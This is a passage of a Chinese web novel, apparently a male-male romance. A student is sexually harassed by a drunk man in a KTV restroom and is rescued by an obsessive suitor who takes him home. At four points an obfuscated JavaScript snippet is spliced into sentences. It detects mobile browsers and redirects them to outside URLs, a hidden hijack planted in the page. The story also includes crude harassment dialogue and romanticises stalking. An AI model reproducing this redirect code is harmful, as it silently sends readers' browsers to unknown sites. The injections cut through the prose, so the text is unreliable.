Flow:[好不容易来一趟星城,就这么走了不觉得可惜吗?] 小禾不是花:[是挺可惜的,可是没人陪我,自己玩儿太没意思了/叹气] Flow:[可以让那个相亲对象陪你,他应该挺乐意的。] 小禾不是花:[不要。] 小禾不是花:[不想让他扰乱我的心。] 小禾不是花:[我要离他远远的。] 手机突然黑屏了,应该是电量耗尽了。 这个手机用了四五年,电池越来越不耐用,是时候让它下岗了,等回了西城就去店里以旧换新。 回到酒店,给手机充上电,祝星禾就去洗澡了。 磨磨蹭蹭地洗了半个多小时,然后又涂身体乳又吹头发,等他换上睡衣躺在床上,已经一丝力气都没有了,感觉比昨天走了几万步还要累。 肚子饿得咕噜咕噜叫,但他不想动弹,睡觉吧,睡着了就不饿了。 昏昏欲睡之际,却被敲门声惊醒,祝星禾猛地坐起来,第一个想到的是李如深,紧接着就有一点点生气。 他从小就是一只温顺的小绵羊,几乎从来没对谁发过火,但是今天他打算小小地发个火。 他穿上拖鞋,哒哒哒走到门口,摆出一幅自认为“薄怒轻嗔”的表情,打开门,却倏地怔住,因为站在门外的人根本不是李如深。 路直被他呆萌的表情逗笑了,伸手碰了碰他头顶的一缕呆毛,笑着说:“不好意思啊,打扰你睡觉了。” 祝星禾抬手扒拉扒拉头发,有点懵懵的:“你怎么知道我的房间号?” 不等路直回答他就反应过来:“是灵子姐告诉你的吧?” 路直点点头:“我给你打了两个电话你都没接,我只能找别人问了你的房间号,直接来找你了。” 祝星禾迷茫地问:“你找我有什么事吗?” 路直掏出手机,扫了眼屏幕,而后把屏幕转向祝星禾:“再过一分钟就是我的二十岁生日,我约了几个在星城的朋友庆祝,你和我一起去吧。” 他没有问祝星禾想不想去,而是直接要求祝星禾陪他一起去。 祝星禾一万个不愿意,他不想这么晚出门,更不想和一群陌生人待在一起。 但他无法拒绝路直,他本来就不擅长拒绝别人,更何况路直太会挑时间了,谁会忍心拒绝一个马上要过生日的人呢。 “好,”祝星禾没有犹豫太久,“你等我换身衣服。” 他转身要回房间,路直却突然抓住他的手腕,说:“过零点了。” 祝星禾看了看他的手机屏幕,神色茫然:过零点了,所以呢? 转眼对上路直饱含期待的目光,祝星禾才蓦地反应过来,冲他微微一笑:“祝你生日快乐。” 17.另类17 另类17 祝星禾脱掉睡衣,换上黑T、短裤和运动鞋,拿上手机和房卡就出门了——他没化妆也没弄头发,在无关紧要的人面前不用太注重形象,深更半夜的也没人看他。 手机只有42%的电,希望在电量耗尽前他就能回来睡觉,尽快结束这漫长的一天。 从酒店出来,他们上了路直的车,并肩坐在后座。 开车的是路直的助理,下午在演播厅祝星禾跟他打过照面。 “我听说你考上了西音,还被梅笑寒大师收作了关门弟子。”路直侧着身子看着祝星禾,趁这会儿只有他们俩,可以好好聊聊天,“有这么牛的师父带着你,你未来的路会好走得多。” 虽然他们是同龄人,但路直提前进入了社会,又是在被称作“大染缸”的娱乐圈,言谈间明显有了社会人的气息,已经不再是曾经的青葱少年了,这加深了他们之间的距离感。 “我没考虑那么长远,”祝星禾微低着头,话音轻轻的,“我只想跟着师父把琵琶学好。” “你已经非常出色了,”路直真诚地说,“我在台下看了你的表演,不止技艺精湛,感情也特别充沛,让我有种身临其境的感觉。” “我还差得远,”祝星禾谦虚地说,“要学的还有很多。” 静了须臾,路直再次开口:“你和纪松沉还是形影不离吗?” 祝星禾点点头:“我们两个的学校都在蓝桥大学城,离得很近,于是我们在校外合租了一间房子,成了室友。” 这话半真半假。 他和纪松沉确实住在校外,但房子不是租的,而是祝女士三年前买的,她买房子是为了把父母从闽南老家接到西城来养老,二老一开始是同意的,但后来又反悔了,说是在老家住了大半辈子,怕到了大城市住不惯,祝女士怎么劝都没用,还抽空回了趟老家,最终无功而返。 这样一来,他和祝女士就失去了搬出纪家的正当理由,纪灵慧不让他们走,他们就只能继续留在纪家,新房子自然就空置了,直到他和纪松沉考上大学,祝女士就让他们住进了新房子,省得他们挤宿舍了。 祝星禾之所以没跟路直说实话,是因为他和纪松沉的关系是不能说的秘密——如果让别人知道他和纪松沉住在一个家里,但这个家里只有两个妈妈却没有爸爸,百分之百会有人造谣,因此他和纪松沉统一口径,对外只说他们是好朋友。 “真羡慕你们。”路直说,“我和以前的朋友基本都没联系了。” 如果祝星禾偏头看路直一眼,就能看到他脸上明晃晃的失落,可祝星禾一会儿看看前面一会儿看看窗外,就是不看路直。眼神交流对I人来说简直是一种酷刑,能避则避。 “你现在是明星,和他们的生活圈不同,渐行渐远是难免的事。”祝星禾试着宽慰他,“那些不再联系的旧朋友就像压箱底的旧衣服,除了占地方没别的用处,还是趁早断舍离的好。” 路直脱口而出:“所以你就把我断舍离了?” 刚说完他就后悔了,这句话说出来除了让彼此尴尬没有任何作用。 “去年的高中同学聚会你怎么没去?”路直急忙换了话题,“纪松沉都去了。” “他是陪女朋友去的。我没有非见不可的人,而且我觉得同学聚会没有任何意义,所以就没去,以后也不会去。” “女朋友?” 路直的语气过于惊讶,引得祝星禾看向他:“他和常舒是男女朋友,你不知道吗?” 纪松沉怔怔地摇了摇头:“我一直以为……” 他说一半不说了,祝星禾好奇地问:“以为什么?” 纪松沉苦笑了下:“没什么。” 他的表情看起来不像“没什么”,但他不想说,祝星禾也就不问了。 手机突然响起来,祝星禾垂眼一看,竟然是Flow邀请他语音通话,这是从未有过的事,先前他们都是通过文字聊天,连语音都没发过一句。 虽然他很想听听Flow的声音,但时间地点都不合适,祝星禾先按了静音,然后点开抖音,进入聊天界面,发现在他的手机自动关机之后Flow又给他发了好多条信息。 Flow:[让他陪你玩两天又不会怎么样,反正回西城之后就不会再见面了。] Flow:[小禾?] Flow:[是手机没电了吗?] Flow:[开机之后给我回个信息。] Flow:[通话未接通] Flow:[通话未接通] Flow:[通话未接通] 显而易见,Flow在担心他。 祝星禾既感动又歉疚,快速打字。 小禾不是花:[我没事。] 小禾不是花:[刚才手机没电了,回酒店洗完澡就睡着了,忘了看手机,现在才看到你的信息。] 小禾不是花:[抱歉,让你担心了。] Flow:[我差点就报警了。] Flow:[你没事就好,是我小题大做了。] Flow:[给你打语音电话怎么不接?] 小禾不是花:[不太方便……] Flow:[怎么?] 小禾不是花:[我在演播厅偶遇的那个高中同学,他今天生日,让我陪他一起庆祝,我们现在在去KTV的路上。] Flow:[哦。] Flow:[你可以让他再给你唱一首《东风破》。] 或许是他想太多了,祝星禾觉得最后这句话有阴阳怪气的嫌疑。 小禾不是花:[我也不想去,可人家过生日,我实在不好意思拒绝……] Flow:[嗯。] 他的态度似乎有些冷淡,难道是生气了? 为什么生气呢? 但眼下不是琢磨这些的时候,路直还在旁边坐着呢,一直玩手机太不礼貌。 小禾不是花:[太晚了,你赶紧睡吧,明天再聊。] Flow:[好。] 他刚锁上手机,就听见路直说:“这么晚了还给你发信息,应该不是普通朋友吧?” 这句话明显带着刺探的意味,祝星禾却浑然不觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050251|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如实相告:“只是一个网友。之前跟他聊天聊到一半手机没电了,他有点担心我,就给我打了个电话。” “网友?是通过直播认识的吗?” “你、你看过我直播?”祝星禾一脸惊讶。 “我在抖音刷到过你那条出圈视频,就点了关注,你每次直播只要我有时间都会看看。”路直笑着说,“我印象中的你是个壁花少年①,在班里总是默默无闻,从来没听你跟谁大小声,只有在纪松沉面前你才会稍微活泼一点,我真没想到有一天你会开直播,对着成千上万的观众侃侃而谈。” 别说路直想不到,就连祝星禾自己都想不到,可人生就是这样,充满了意料之外的神展开,只需要一个小小的契机就能开启新的人生副本。 “士别三日,当刮目相待。”祝星禾看着窗外阑珊的霓虹,轻声细语地感慨:“我们都两年多没见了,我已经不是过去的我,你也不是过去的你了。” 路直看着祝星禾忽明忽暗的侧脸,笑容里弥漫着淡淡的伤感:“是啊,我们都变了,我偶尔会觉得现在的自己很陌生。” 祝星禾却恰恰相反,他时常觉得过去的自己很陌生,甚至有点讨厌,他更喜欢现在的祝星禾。 在无话可说的间隙,路直忽然小声哼起歌来,祝星禾静静听着,觉得旋律很熟悉。 直到下车的时候祝星禾才想起来,路直刚才哼的那首歌叫《我怀念的》。 在服务员的引领下到了包房,正要进去,祝星禾的手机响了,他看了眼来电显示,对路直说:“你先进去吧,我接个电话。” 等包房的门合上,祝星禾才点了接听,把手机放在耳边,轻轻地“喂”了一声。 “你不在酒店?”李如深直接问。 “你怎么知道?”祝星禾反问。 “我来给你送点东西,敲门没人应。” “……”祝星禾简直哭笑不得,这都快凌晨一点了,他跑去酒店给他送东西?他没想到李如深会是这种死缠烂打的类型,他何德何能,竟然能把高岭之花拉下神坛? “小禾?” 明明是听过千万次的两个字,却让祝星禾心弦一颤。 李如深的嗓音低沉沙哑,格外撩人。 “你的声音怎么了?”祝星禾忍不住关切地问,“是生病了吗?” 李如深置若罔闻,自顾自问:“你现在在哪儿?” 祝星禾轻不可闻地叹了口气,把对Flow说过的话又对李如深说了一遍,李如深听完沉默了几秒,问:“什么时候结束?” “我也说不好,大概一两个小时吧。” “发个定位给我,我去接你。” 又是这种仿佛发号施令的腔调,虽然强势却不惹人反感,他每次这样说话,祝星禾都会乖乖服从,但这次他试着违逆:“不用了,我和那位同学住在一家酒店,他会送我回去的,你还是赶紧回去休息吧。” “小禾,听话,把地址发给我。”李如深换成了温柔诱哄的口吻。 心脏漏跳了两拍,祝星禾有种被蛊惑的感觉,不由自主地回答:“好。” 18.另类18 另类18 挂了电话,进了包房,祝星禾不禁有些诧异,他还以为会有很多人,然而偌大的包房里除路直外只有一男一女,男的他还认识,是和路直一起参加选秀后来一起成团的队友,叫……叫什么骄阳。 路直起身来到祝星禾身边,先向另外两个人介绍:“这是我的高中同学,祝星禾,禾苗的禾。” 路直的前队友跟他打招呼:“你好,我是盛骄阳。” 紧挨着盛骄阳的女孩紧接着说:“我叫白溪,是盛骄阳的女朋友。” 虽然是初次见面,但俊男美女令人心生亲切。 祝星禾很想挨着白溪坐,他喜欢和女孩子待在一起,可人家的男朋友也在,他不好去当电灯泡,所以还是坐在了路直旁边。 祝星禾小声问:“是还有人没来,还是就咱们几个?” 路直小声答:“我知道你不喜欢人多的场合,就只叫了你和盛骄阳。” 有点体贴但不多。 如果他真的体贴入微,就不该把正在睡觉的人从酒店薅出来。 但祝星禾还是略感欣慰,毕竟现在的状况比他预想中好得多。 “刚才给你打电话的是谁?”路直状似随意地问,“还是那个抖音网友吗?” “不是……”他和李如深的关系既简单又复杂,祝星禾一时间竟不知道从何说起,“就……就是一个认识的大哥。” 路直直觉没那么简单,主要是“大哥”这个词儿就挺耐人寻味的,很容易让人多想。 但路直没有多问,他把菜单拿给祝星禾,让他随便点。 祝星禾看了看桌上,水果、干果、鸭舌、凤爪、炸鸡、啤酒都有了,他就点了一杯生榨椰子汁和一份梅子炸薯条。 “卤肉饭要不要尝尝?”路直问,“据说是这里的招牌,好评如潮。” “不用了,我不饿。”其实是饿过劲儿了,就算饿他也不会吃,想要保持身材最重要的就是管住嘴,谁让他迈不开腿呢。 “小龙虾吃吗?”路直又问。 “不吃,”祝星禾再次拒绝,“你点你的,不用管我。” 盛骄阳和白溪也不吱声,就在旁边悄摸看着,脸上挂着如出一辙的迷之微笑。 路直侧目看见他俩的表情,顿时有些尴尬,他咳了两声,把菜单递过去:“你们看看还有什么要点的。” 盛骄阳笑着说:“不用管我们,你照顾好小禾就行。” 迟钝如祝星禾都听出了对方话音里的揶揄,想来是误会了他和路直的关系,可他又不好解释什么,反倒显得此地无银三百两了,只能装聋作哑。 路直偷偷给了盛骄阳一肘子,按服务器叫来服务员,除了祝星禾点的那两样,又加了手撕牛肉、烤串和一瓶Remy Martin,也就是赫赫有名的人头马——纪灵慧的酒柜里就有这种酒,祝星禾见过但没喝过,抽烟和喝酒是他最讨厌的两大恶习,喝酒还能忍,抽烟却忍不了一点。 “你想唱什么歌?”路直问,“我去帮你点。” 祝星禾摆摆手:“我唱得不好,就不班门弄斧了,我想听你唱。” 路直立即起身去点歌,盛骄阳一挪屁股就坐在了祝星禾身边,白溪跟着往这边挪,把盛骄阳夹在了中间。 离得太近了,祝星禾能闻到盛骄阳身上的烟味,他克制着往旁边移动的冲动,尴尬地冲这对小情侣笑了笑。 “你真是路直的高中同学?”盛骄阳目不转睛地看着他。 “……”这话问的,骗他有糖吃还是怎么的,“嗯。” “那你是跳级了吗?” “没有。” “你多大了?” “虚岁二十。” “你长得太嫩了,你说你十五我都信。” 这话祝星禾听得太多了,一笑置之。 白溪搂着盛骄阳一条胳膊,下巴垫在他肩上,歪头看着祝星禾:“所以你开学读大二?” “嗯。” “我比你大两届,开学大四了。我在燕城传媒大学,学播音主持,你呢?” “我在西城音乐大学,学琵琶。” “哇哦,学琵琶的男孩子还蛮少见的。不过很适合你,你身上有种雌雄莫辨的美,弹琵琶的样子一定特别迷人。” “你是单身吗?”盛骄阳插话。 “嗯。” “真巧,路直也是单身,而且是母胎单身。” “……哦。” 音乐响起来了,尬聊暂停。 前奏一出祝星禾就知道是什么歌,竟然被Flow说中了,路直真的要唱《东风破》。 路直背对着他们站在桌旁,屏幕的光照亮了他的侧脸,莫名地有种清寂感。 前奏很短,他举起手中的麦克风,富有磁性的低音随着轻柔的音乐一起婉转流淌。 “一盏离愁孤单伫立在窗口, 我在门后假装你人还没走。 旧地如重游月圆更寂寞, 夜半清醒的烛火不忍苛责我。” 不论是音色还是唱功,如今的路直都远超曾经的他,但祝星禾只是单纯觉得好听,却不再有怦然心动的感觉。 他蓦然想到那天在清吧唱《City of Stars》的李如深,当时他真的心动不已,而且还是在亲眼目睹李如深抽烟的情况下。 盛骄阳凑过来低声耳语:“三年前参加选秀的时候,路直在初舞台就是翻唱的这首歌,等到第一期节目播出,路直靠着这首歌火速出圈,排名蹭蹭往上涨。” 祝星禾虽然没追过那档选秀节目,但也隐约知道一些,毕竟路直是他们学校的风云人物,不管走到哪里都能听到有人谈论他。 “谁在用琵琶弹奏一曲东风破, 岁月在墙上剥落看见小时候。 犹记得那年我们都还很年幼, 而如今琴声幽幽我的等候你没听过。”① 路直边唱边用眼角余光偷觑沙发上的祝星禾,而祝星禾却在看着屏幕上年轻帅气的周杰伦,跟着音乐轻轻哼唱,他对这首歌的喜欢一如既往。 唱完《东风破》,路直让祝星禾点歌,祝星禾几乎立刻就想到了Flow在闲聊中提到的那首《泪桥》,但不知道为什么,他不太想听路直唱这首歌,于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062538|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点了《泡沫》,也是首经典老歌。 男歌手唱女歌手的歌总是有种别样味道,路直唱得了低音也飙得了高音,一首歌唱得荡气回肠,惊艳四座。 路直忙了一天,还没正经吃过饭,早就饥肠辘辘,等刚点的吃食陆续端上来,盛骄阳陪他一起吃。 白溪和祝星禾不能吃,他俩坐得远远的,一人一支麦克风,白溪主唱,祝星禾伴唱,从《这条小鱼在乎》唱到《如何》,又从《Ditto》唱到《Love Wins All》,他们的音乐品味意外地相合。 唱累了又去玩骰子,祝星禾对此一窍不通,路直耐心教他。新手上路,输得多赢得少,他喝了一肚子果汁,实在喝不下了,只好尿遁。 他拿着手机走出包房时,盛骄阳唱起了《他不懂》。 祝星禾循着指引往洗手间的方向走,边走边给李如深发微信:[你到了吗?] 李如深没有回复,大概还在路上。 推开洗手间的门,烟味扑面而来,犹豫了下,祝星禾还是进去了,他是真的有点尿急。 刚在小便池前站定,身后猝然“哐!”的一声巨响,祝星禾吓了一跳,扭头去看,只见一个人高马大的男人摇摇晃晃地从离他最近的隔间里走出来,显然是喝多了,男人的嘴里还噙着一支烟。 一瞬间,祝星禾还以为自己看到了庄承,深入骨髓的恐惧骤然如汹涌的潮水般将他淹没,他应该立刻逃离这里,可他却一动不动地定在原地——在弱肉强食的大自然里,当动物遇到危险时,应对机制各不相同,有的会逃跑,有的会攻击,还有的擅长“装死表演”,又叫“紧张性麻痹”,就好比此刻的祝星禾,失去了所有的力气和手段。 男人走下台阶时趔趄了下,撞到了祝星禾身上,男人含混不清地说了声“不好意思”,祝星禾艰难地发出声音:“没……没事……” 没事的,祝星禾安慰自己,撞到别人会道歉的人应该坏不到哪去。 正想着,男人突然像背后灵一样贴近他,在他耳边说:“你走错洗手间了吧?” 浓重的烟味混着酒味将他缠住,倏地把祝星禾拉回了早已逝去的童年,仿佛他还是那个绝望无助的孩童。他开始呼吸不畅,完全说不出话来,只能微弱地摇了摇头。 男人一只手搭在祝星禾肩上,像座山一样压着他,另一只手夹着烟,一边吞云吐雾一边嬉皮笑脸地说:“我看你长得细皮嫩肉的,还以为你是个小姑娘呢。你喜欢男的吧?” 男人呼出来的烟全喷在祝星禾脸上,他快要无法呼吸了。 男人低头凑到他耳边,压着嗓子说:“我就喜欢像你这样漂亮的小男孩,要不要跟我玩玩?我的几-把比黑人都大,用过的都说好,你想不想试试?” 好似沉入了冰冷的水底,窒息感越来越强,眼前一阵阵发黑,祝星禾感觉自己快支持不住了——不行,洗手间的地面腌臜不堪,就算要晕倒也不能倒在这里。 洁癖让他爆发出勇气,祝星禾猛地推开压在身上的男人,拔腿就朝门口跑去,刚跑到门外就撞了人,他的力气刹那间消失殆尽,身体不受控制地倒下去。 19.另类19 另类19 收到祝星禾的微信时,李如深已经在KTV里了,正准备回复,看到了走廊另一端的纤细背影,他一眼认出来那就是他要找的人,赶紧三步并作两步追了上去。 看到祝星禾进了洗手间,他就站在外面等着,等了大概半分钟,里面传来奇怪的响动,听着像是有人摔倒了,李如深急忙过去,刚把门推开,祝星禾像只断线风筝似的撞进了他怀里,他还没来得及做出反应,祝星禾就猝然朝地上倒去,李如深慌忙捞住他,旋即将他打横抱起,避免让他碰到脏污的地面。 透过尚未闭合的门,李如深看到了那个摔倒在地正挣扎着爬起来的男人,刚刚这半分钟里发生了什么已经显而易见,李如深顿时怒不可遏,想要冲过去将男人暴打一顿。 但现在不是时候,祝星禾喘得很厉害,不停地抽气,像是哮喘的症状。李如深听得心惊胆颤,一边大步往前走一边大声呼喊:“服务员!服务员!” 很快就有服务员从包房里出来,李如深急声说:“塑料袋!给我找个能套在头上的塑料袋!纸袋也行!” 服务员应了声“好”,扭头往另一个方向跑了,李如深快步跟上,明知祝星禾很可能听不见但还是沉声安慰:“小禾,别怕,你安全了,有我在,没有人能伤害你……” 祝星禾听不见,也看不清,一切都是混沌的,他感觉自己被困在了水里,耳中是轰隆轰隆的水声,眼前是层层叠叠的水纹,他想浮出水面,但他的身躯是麻痹的,丝毫动弹不得,他只能不断地下沉、下沉…… 服务员拿来了塑料袋,李如深抱着祝星禾进了旁边的包房,他坐在沙发上,把祝星禾放在他腿上,然后从服务员手中接过塑料袋,套在祝星禾头上,将袋口收紧。 “先生,需要帮您叫救护车吗?”服务员问。 “不用,你去忙吧,”李如深说,“等他没事了我们就会自行离开。” 服务员就转身走了,刚走到门口,听见低沉的男声说:“麻烦把灯关掉。” 小小的包房陷入了幽暗。 走廊的灯光透过门上镶嵌的一片方形玻璃照进来,但也只能照亮门口的一小片区域。 李如深和祝星禾隐匿在暗处,宛如一对鬼鬼祟祟的情人。李如深一只手揽着祝星禾的腰,另一只手轻轻地摩挲着他的后背,希望藉此给他些许安慰。 塑料袋随着祝星禾的一呼一吸发出窸窣的响声,响声越来越小,意味着他的呼吸趋于正常。 李如深把塑料袋取下来,扔在一边,嗓音温柔而沙哑:“要不要去医院?” “不要……”祝星禾声如蚊蚋,带着微弱的哭腔,“我要回酒店。” “好,”李如深立刻答应,“你在这里等我五分钟,我去处理点事情——” “别去,”祝星禾轻声打断他,还抬手揪住了他的袖子,“别丢下我一个人。” 李如深感觉自己的心也被他揪住了,略微有点疼,还有一种难以言喻的感觉,又酸又涩,又甜又苦,他想这大概就是爱情的滋味——在祝星禾还不知晓他的存在时,他就单方面地、无法自拔地迷恋上他,于是处心积虑地接近他,无论如何都要得到他,像个阴-湿的变-态。 好想用-力地抱-紧他,好想激-烈地亲-吻他,但还不到时候。 “好,在这里休息一会儿,我就送你回去。” 其实没必要,李如深只是想趁机多抱祝星禾几分钟,稍稍缓解一下他的皮-肤-饥-渴-症,从相亲那晚起他就有了这个毛病。 祝星禾温顺地“嗯”了一声。 他像只猫似的窝在李如深异常温暖的怀抱里,他当然知道不应该这样,但他贪恋这个男人带给他的安全感,于是纵容自己享受这片刻的温存。 短裤口袋里的手机突然响起来,不用看也知道是谁打来的。 祝星禾掏出手机,李如深垂眼看着屏幕,语调平静地问:“你那位高中同学?” “嗯。” “我帮你接。” 不等祝星禾答应,手机就被李如深拿走了,他点了接听,直接开口:“你好,我是小禾的朋友,时间太晚了,我先带他回酒店了,你们慢慢玩,顺便祝你生日快乐。” 说完就挂断了,随即擅自关机,免得对方再打过来。 李如深把手机塞回祝星禾的口袋。 沉默须臾,祝星禾问:“我身上没弄脏吧?” “没有,我接住你了。” “你怎么会出现得这么及时?” “你给我发微信的时候我就看见你了,我跟着你到了洗手间,在外面等你。” 短暂地静了静,祝星禾缓声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14080960|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“李如深……谢谢你,如果不是你及时出现,后果不堪设想。” 他倒不担心那个男人会伤害他,毕竟那人还没醉到失去理智、肆意妄为的地步,只要逃离洗手间他基本就安全了。 他只是不想把路直和盛骄阳牵扯进来,他们俩都是正处于上升期的爱豆,绝对不能卷进负面新闻,娱乐圈是个巨大的舆论场,一点芝麻绿豆的小事都能炒得沸反盈天。 他宁愿自己受伤,也不想给别人带来麻烦或困扰。 祝星禾终于不再叫他“李先生”了,这让李如深倍感欣慰,刚想说话,喉咙突然痒得厉害,他急忙把头转到一边,重重地咳嗽了几声。 祝星禾担心地问:“你是不是病了?” 从刚才他就察觉了,李如深的体温高得不正常,声音也哑得厉害。 “我没……” 话没说完,又是一阵咳嗽。 等他咳完了,祝星禾抬手覆上他的额头,好烫! 这人发着高烧,不在家好好休息,先是跑去酒店给他送东西,又大老远地跑来KTV找他,就不怕路上出什么意外吗?祝星禾真不知道他是怎么想的,也太不拿自己的身体当回事了。 祝星禾说:“你得去医院,马上就去。” 他作势要从李如深腿上下来,李如深一手揽着他的腰一手勾着他的腿,不让他动弹。 李如深说:“我不去医院。” 他冲了十几次冷水澡,又在十六度的空调房里睡了一夜,好不容易才把自己折腾病了,怎么能去医院呢? “李如深!”祝星禾语带微嗔。 李如深又又又硬了,祝星禾总是能轻而易举地勾-起他的慾望,让他像个随时随地都在发-情的禽-兽,哪怕是在荷-尔-蒙分-泌最旺-盛的青春期,他都不像现在这么容易冲-动。 “小禾,”李如深温柔地叫他的名字,“陪我回家好不好?” 又沉又哑的声音近在耳畔,带着蛊惑人心的意味,让祝星禾明知不应该却不忍心拒绝。 “家里有人照顾你吗?”他问。 “没有,”李如深说,“但是我想待在家里,我讨厌医院。” 这个二十七岁的成熟男人蓦然流露出一点脆弱的孩子气,祝星禾莫名被击中了,他决定铤而走险:“好,我陪你回家。” 20.另类20 另类20 凌晨两点的马路畅通无阻,一路风驰电掣,不过十几分钟就到了前两天路过的那个小区。 把车停在地下车库,从负一楼进电梯,当电梯开始上行的那个瞬间,祝星禾险些尿裤子,他快憋不住了——离开KTV之前应该去趟厕所的,可他怕再遇到那个男的,也怕被路直他们撞见,所以就没去。 进了家门,不等祝星禾问,李如深就抬手一指:“卫生间在那儿。” 祝星禾踩着脚后跟脱掉运动鞋,连拖鞋都顾不上穿就着急忙慌地进了卫生间。 两分钟后,祝星禾打开卫生间的门,发现李如深就站在门外,他怔了怔:“你……你站在这里做什么?” “等你,”李如深的嗓子哑得都快听不出本音了,他轻轻抬了抬下巴,“先把拖鞋穿上。” 祝星禾低头一看,门前的地垫上放着一双拖鞋,鞋底是他喜欢的绿色,鞋面是奶白色,鞋面上还有一双绿色的小耳朵。 这么可爱的款式,显然不是李如深会穿的,李如深脚上那双黑色的才符合他高冷的人设。而且这双鞋一看就是新买的,会是买给谁的呢?虽然李如深说他只交过一个女朋友,但这并不代表他就只和一个人发生过亲密关系,毕竟“性-自-由”早就不是什么新鲜的观念,更何况李如深还在国外留过学,他会不会像美剧里演的那样,只要在派对上看对眼就能带回家滚床单? 刚把脚套进拖鞋里,就听李如深说:“除了我妹妹和我助理,没有外人进入过这个家。” 小心思被看透了……李如深是有火眼金睛吗? 祝星禾微微红了脸,后知后觉地局促起来——今天是他和李如深第三次见面,他就这么堂而皇之地进入了李如深的私人领地,在一个相对封闭的空间里和这个尚且陌生的男人独处,这和羊入虎口有什么区别?究竟是谁给他的勇气? 但是现在打退堂鼓已经太晚了,既来之则安之,他相信李如深是个有教养、有风度的绅士,不会对他怎么样。 停止胡思乱想,祝星禾问:“你家有体温计吗?” “应该有,”李如深不太确定,“我去找找。” “你告诉我在哪儿,我去找。”祝星禾说,“你快去沙发上躺着,你要是晕倒了,我就只能叫救护车了。” 于是李如深就躺在了客厅的布艺沙发上,指挥祝星禾从边柜下层找到药箱,他抱着沉甸甸的药箱过来,坐在了沙发凳上。 祝星禾打开药箱的盖子,上中下三层自动展开,各种常备药分门别类,摆放得整整齐齐。 他从下层拿出一个红外测温仪,开机,调到体温测量模式,将探头凑近李如深的额头,按下测量键,屏幕的背光立刻变成了红色。 “38度5,属于高烧了。”祝星禾面露忧色,“你真的不去医院吗?” “不去。”李如深回答得毫不迟疑。 祝星禾又不能强迫他,只能先让他吃药,以观后效。 起身去厨房拿了瓶矿泉水,然后从药箱里找出一盒布洛芬,谨慎地看了看说明书,抠出两粒胶囊,递给李如深,李如深撑着沙发坐起来,吃完药又躺下了。 在偶像剧里,女主照顾生病的男主是感情升温的重要桥段,而女主们在这个时候通常都会做一件事,就是煮粥。 虽然祝星禾并不想和李如深“升温”,但他还是问了句:“你想喝粥吗?” 李如深掀开眼帘,眼神不似平时那般幽邃,而是有些迷离地看着他:“你要给我煮吗?” 祝星禾点点头:“嗯。” 李如深说:“现在不想喝,明天再喝可以吗?” 祝星禾踟蹰起来。 任师姐帮他订了明天下午两点的机票——不,已经是今天了——他在中午十二点左右到达机场即可,时间还很充裕。 只是这样一来,他就得在这里留宿了,总不能先回酒店过几个小时再回来,不够来回折腾的……而且他实在不放心也不忍心丢下李如深不管,生病已经够难受了,身边再没个人,就更难受了。 唉,来都来了,那就好人做到底,送佛送到西吧。 祝星禾刚要答应,李如深突然咳起来,咳了好一会儿才停,整张脸都咳红了。 祝星禾把水递给他,等他喝完了才说:“等你睡醒了,我煮粥给你喝。” 李如深的嘴角轻轻翘起,但很快又拉下去,语气平平地说:“那就麻烦你了。” “要不……你回房间去睡吧?”祝星禾和颜悦色,柔声细语,像在哄一个小朋友,“捂着被子发发汗,或许会好得快些。” 李如深听话地坐起来,起身时顺势 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14091458|148498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抓住祝星禾的手腕:“跟我来。” 他的掌心滚烫,祝星禾的皮肤微凉,相触的瞬间,祝星禾的心尖猛地颤了颤,平静的心湖里倏然荡起涟漪——这是李如深第三次牵他的手了,他一如前两次那样温驯,跟着李如深站起来,穿过客厅,进了主卧,幸好一进门李如深就松开了他的手,让他悬着的心稍稍回落了一点。 李如深拉开衣柜,拿出一套真丝睡衣和一条内裤,递给祝星禾:“都是新的,我没穿过。” 祝星禾伸手接了。虽然出门之前才洗过澡,但去了KTV那种不卫生的地方,又被那个喝醉酒的男人搂过,他确实有必要再洗一次澡。 李如深一只手搭在他肩上,又推着他去了客房。 客房挨着玄关,对面就是卫生间。 “床单被罩都是才换的,”李如深说,“你习惯睡低枕还是高枕?” 